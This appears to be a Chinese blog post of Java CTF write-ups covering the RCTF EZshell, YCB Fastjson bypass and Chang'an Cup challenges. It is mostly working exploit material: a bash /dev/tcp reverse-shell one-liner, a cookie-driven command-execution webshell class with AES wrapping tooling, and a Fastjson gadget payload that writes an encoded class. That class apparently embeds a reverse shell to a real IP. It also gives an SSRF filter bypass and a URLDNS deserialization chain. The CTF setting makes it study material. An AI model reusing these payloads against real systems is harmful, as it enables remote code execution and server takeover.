行业新闻

java ctf题

java ctf题

记录一下最近的一些java题。。。。

RCTF-EZshell

有一说一,这个题目应该是web…..

题目给了一个war包,非常明显是通过tomcat搭建。

为了方便我转换成了springboot项目。项目:

其实非常简单。。。

就我们写一个恶意类,然后继续aes加密然后在base64加密之后让服务端继续解密然后加载执行就欧克。。

最开始自己是写的静态代码,因为静态代码实例化的时候要执行,然后就可以执行命令。

try{
    Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
}catch (IOException e){
    try{
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
    }catch (IOException ee){
    }
}

然后在aes加密,这里是中中给的脚本,而且只能在mac上生成有效果???

<?php
// 要加密的字符串
$data = file_get_contents("Payload.class");#读我们字节码文件
// 密钥
$key = 'e45e329feb5d925b';
// 加密数据 'AES-128-ECB' 可以通过openssl_get_cipher_methods()获取
$encrypt = openssl_encrypt($data, 'AES-128-ECB', $key, 0);
echo base64_encode(($encrypt));

下一个问题就是题目不出网,没有交互信息,都是应该说能够返回信息,所以我们只需要将我们的命令执行的结果返回就欧克。

尝试了好久之后发现不是反射执行了e方法吗?里面就2给参数,request和response

我们就可以通过response返回信息了呀

所以我们重写一个e方法参数是request和response。

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class cmd {
    public void e(Object request,Object response)throws Exception {
        HttpServletResponse httpServletResponse = (HttpServletResponse) response;
        HttpServletRequest httpServletRequest = (HttpServletRequest) request;
        Cookie[] cookies = httpServletRequest.getCookies();
        String cmd = null;
        if (cookies != null && cookies.length > 0) {
            for (Cookie cookie : cookies) {
                if ("cmd".equals(cookie.getName()))
                    cmd = cookie.getValue();
            }
        }
        try{
            Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
            String line;
            while ((line = reader.readLine()) != null) {
                //String encode = new BASE64Encoder().encode(line.getBytes("UTF-8"));
                //System.out.println(encode);
                httpServletResponse.getWriter().write(line);
            }
        }catch (IOException e){
            try{
                Process p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
                InputStream is = p.getInputStream();
                BufferedReader reader = new BufferedReader(new InputStreamReader(is));
                String line;
                while ((line = reader.readLine()) != null) {
                    //String encode = new BASE64Encoder().encode(line.getBytes("UTF-8"));
                    //System.out.println(encode);
                    httpServletResponse.getWriter().write(line);
                }
            }catch (IOException ee){
            }
        }
    }
}

通过Cookie: cmd=whoami执行命令。。

总体上来说还是有意思。。。

下面是直接搭建的环境。并且通过java实现aes加密

package com.firebasky.ezshell.exp;

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.FileInputStream;
import java.util.Arrays;
import java.util.Base64;

public class AES {
    public static void main(String[] args) throws Exception {
        byte[] string = readFile("路径\\cmd.class");
        String k = "ZTQ1ZTMyOWZlYjVkOTI1Yg==";//key 密钥e45e329feb5d925b
        String encrypt = encrypt(k, string);
        System.out.println(encrypt);
    }
    public static byte[] readFile(String path) throws Exception {
        File file = new File(path);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        return buffer;
    }
    public static String encrypt(final String secret, final byte[] data) {
        byte[] decodedKey = Base64.getDecoder().decode(secret);
        try {
            Cipher cipher = Cipher.getInstance("AES");
            // rebuild key using SecretKeySpec
            SecretKey originalKey = new SecretKeySpec(Arrays.copyOf(decodedKey, 16), "AES");
            cipher.init(Cipher.ENCRYPT_MODE, originalKey);
            byte[] cipherText = cipher.doFinal(data);
            return Base64.getEncoder().encodeToString(cipherText);
        } catch (Exception e) {
            throw new RuntimeException(
                    "Error occured while encrypting data", e);
        }
    }
    public static String decrypt(final String secret, final String encryptedString) {
        byte[] decodedKey = Base64.getDecoder().decode(secret);
        try {
            Cipher cipher = Cipher.getInstance("AES");
            // rebuild key using SecretKeySpec
            SecretKey originalKey = new SecretKeySpec(Arrays.copyOf(decodedKey, 16), "AES");
            cipher.init(Cipher.DECRYPT_MODE, originalKey);
            byte[] cipherText = cipher.doFinal(Base64.getDecoder().decode(encryptedString));
            return new String(cipherText);
        } catch (Exception e) {
            throw new RuntimeException(
                    "Error occured while decrypting data", e);
        }
    }
}

 

YCB-Fastjsonbypass

参考ycb 2021 搭建的环境。。。

分享自己fork的项目:https://github.com/Firebasky/Fastjson

{
"keyword": 
    {"$ref": "$r2.message"}, 
"msg": 
    {
        "\u0040\u0074\u0079\u0070\u0065":"java.lang.Exception",
        "\u0040\u0074\u0079\u0070\u0065": "com.firebasky.fastjsonbypass.Exception.MyException"
    }
}

写文件参考:https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&scene=21#wechat_redirect

因为自己本地环境是win,而且jdk的8u201不支持这样的方法.所以使用其他方法。

import java.io.IOException;
public class Cmd implements AutoCloseable{
    static{
        try{
            Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        }catch (IOException e){
            try{
                Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
            }catch (IOException ee){
            }
        }
    }

    @Override
    public void close() throws Exception {
    }
}
{
    "stream": {
        "\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable",
        "\u0040\u0074\u0079\u0070\u0065": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "xxx//target//classes//Cmd.class",
        "tempPath": ""
    },
    "writer": {
        "\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable",
        "\u0040\u0074\u0079\u0070\u0065": "com.esotericsoftware.kryo.io.Output",
        "buffer": "yv66vgAAADQAMAoADQAbCgAcAB0HAB4IAB8IACAIACEKABwAIgcAIwgAJAgAJQgAJgcAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAVjbG9zZQEACkV4Y2VwdGlvbnMHACoBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACMBAApTb3VyY2VGaWxlAQAIQ21kLmphdmEMAA8AEAcAKwwALAAtAQAQamF2YS9sYW5nL1N0cmluZwEACS9iaW4vYmFzaAEAAi1jAQBWZXhlYyA1PD4vZGV2L3RjcC8xLjExNi4xMzYuMTIwLzIzMzM7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmUMAC4ALwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAANjbWQBAAIvYwEABGNhbGMBAANDbWQBABBqYXZhL2xhbmcvT2JqZWN0AQAXamF2YS9sYW5nL0F1dG9DbG9zZWFibGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAMAA0AAQAOAAAAAwABAA8AEAABABEAAAAdAAEAAQAAAAUqtwABsQAAAAEAEgAAAAYAAQAAAAIAAQATABAAAgARAAAAGQAAAAEAAAABsQAAAAEAEgAAAAYAAQAAABAAFAAAAAQAAQAVAAgAFgAQAAEAEQAAAJkABQACAAAAPbgAAga9AANZAxIEU1kEEgVTWQUSBlO2AAdXpwAiS7gAAga9AANZAxIJU1kEEgpTWQUSC1O2AAdXpwAETLEAAgAAABoAHQAIAB4AOAA7AAgAAgASAAAAHgAHAAAABQAaAAsAHQAGAB4ACAA4AAoAOwAJADwADAAXAAAAFgADXQcAGP8AHQABBwAYAAEHABj6AAAAAQAZAAAAAgAa",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 822//通过wc 命令统计
    },
    "close": {
        "\u0040\u0074\u0079\u0070\u0065": "java.lang.AutoCloseable",
        "\u0040\u0074\u0079\u0070\u0065": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

然后触发

{
    "@type":"java.lang.AutoCloseable",
    "@type":"EvilRevShell"
}

然后的话因为不会搭建环境就没有复现了。。。可以看官方的wp。

 

长安杯-高校组-java_url

这个题比较简单。。。。类似去年的一个题

打开网站源代码有一个/download?filename=

直接下载WEB-INF/web.xml文件然后去读class文件,然后在反编译代码审计。

发现存在一个ssrf漏洞,并且过滤了一些协议不过这些协议可以绕过。

直接绕协议

/testURL?url=%0afile:///flag

而这里也是直接秒的,因为当时写ycb的环境的时候遇到了\n不能匹配的问题。。

 

长安杯-企业组-ezjava

源代码直接进行代码审计,项目是springboot启动的,看一下controller,里面主要是进行调用getflag()函数去执行。

看一下逻辑非常简单。就需要我们输入一个base64加密的数据,然后 在解密,在aes解码,然后在进行反序列化,然后在去读其他属性匹配就getflag。

一看就想得到的urldns 链子,而且项目的test文件里面给了hint。。。。

直接构造

public static Object exp()throws Exception{
    Class clazz = Class.forName("java.net.URL");
    Constructor con = clazz.getConstructor(String.class);
    URL url = (URL)con.newInstance("https://aaaaaaaa.com");
    Field field = clazz.getDeclaredField("hashCode");
    field.setAccessible(true);
    field.set(url, 72768382);
    return url;
}

这样是不行的因为readobject的时候进行了强制转换

HashMap obj = (HashMap)ois.readObject();

我们封装一下就ok了。

public static Object exp()throws Exception{
        Class clazz = Class.forName("java.net.URL");
        Constructor con = clazz.getConstructor(String.class);
        URL url = (URL)con.newInstance("https://aaaaaaaa.com");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url, 72768382);
        HashMap map = new HashMap<>();//封装
        map.put(url,url);
        return map;
    }

然后就非常简单了。使用aes去加密就OK

key: c0dehack1nghere7
偏移量:b60eb83bf533eecf
模式: CBC

有一个坑点是base64加密,要使用下面这个才可以。。

byte[] encode = java.util.Base64.getUrlEncoder().encode(encrypt);

然后直接getlflag。

或者可以使用下面代码java生成

import org.apache.tomcat.util.codec.binary.Base64;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.GeneralSecurityException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;

public class aestool {
    private static final String ALGORITHM = "AES";
    private static final String CIPHER_GETINSTANCE = "AES/CBC/PKCS5Padding";
    private static final byte[] keyBytes = "c0dehack1nghere7".getBytes(StandardCharsets.UTF_8);
    private static final byte[] ivSpec1 = "b60eb83bf533eecf".getBytes(StandardCharsets.UTF_8);

    public static void main(String[] args)throws Exception {
        byte[] string = readFile("exp.ser");
        System.out.println(encrypt(string));
    }
    public static String encrypt(final byte[] msg) throws IOException,
            NoSuchAlgorithmException, GeneralSecurityException {
        String encryptedMsg = "";
        byte[] encrypt = getCipherInstance(true).doFinal(msg);
        encryptedMsg = Base64.encodeBase64String(encrypt);
        byte[] encode = java.util.Base64.getUrlEncoder().encode(encrypt);
        return new String(encode);
    }
    private static Cipher getCipherInstance(boolean encoder)
            throws NoSuchAlgorithmException, NoSuchPaddingException,
            IOException, InvalidKeyException,
            InvalidAlgorithmParameterException {
        SecretKeySpec keySpec = new SecretKeySpec(keyBytes, ALGORITHM);
        IvParameterSpec ivSpec = new IvParameterSpec(ivSpec1);

        Cipher cipher = Cipher.getInstance(CIPHER_GETINSTANCE);

        if (encoder) {
            cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
        } else {
            cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec);
        }
        return cipher;
    }
    public static byte[] readFile(String path) throws Exception {
        File file = new File(path);
        FileInputStream inputFile = new FileInputStream(file);
        byte[] buffer = new byte[(int)file.length()];
        inputFile.read(buffer);
        inputFile.close();
        return buffer;
    }
}

参考:

https://github.com/Firebasky/ctf-Challenge/tree/main/2021_ycb_shop_system

https://github.com/Firebasky/ctf-Challenge/tree/main/RCTF-2021-EZshell

https://mp.weixin.qq.com/s?__biz=MzkzMDE3NDE0Ng==&mid=2247487895&idx=1&sn=9cddec9d155206b721f7bf5c500322ab&chksm=c27f143af5089d2ca73b9b7e91c2c6d2348f64bbf2823aced803942b91bb92caac1f1344dfe7&mpshare=1&scene=23&srcid=0917WU0MhesJTOd1WidYaVwo&sharer_sharetime=1631877198670&sharer_shareid=6bef27d5dc0c6f8f47cc0ce866d080b7#rd

关闭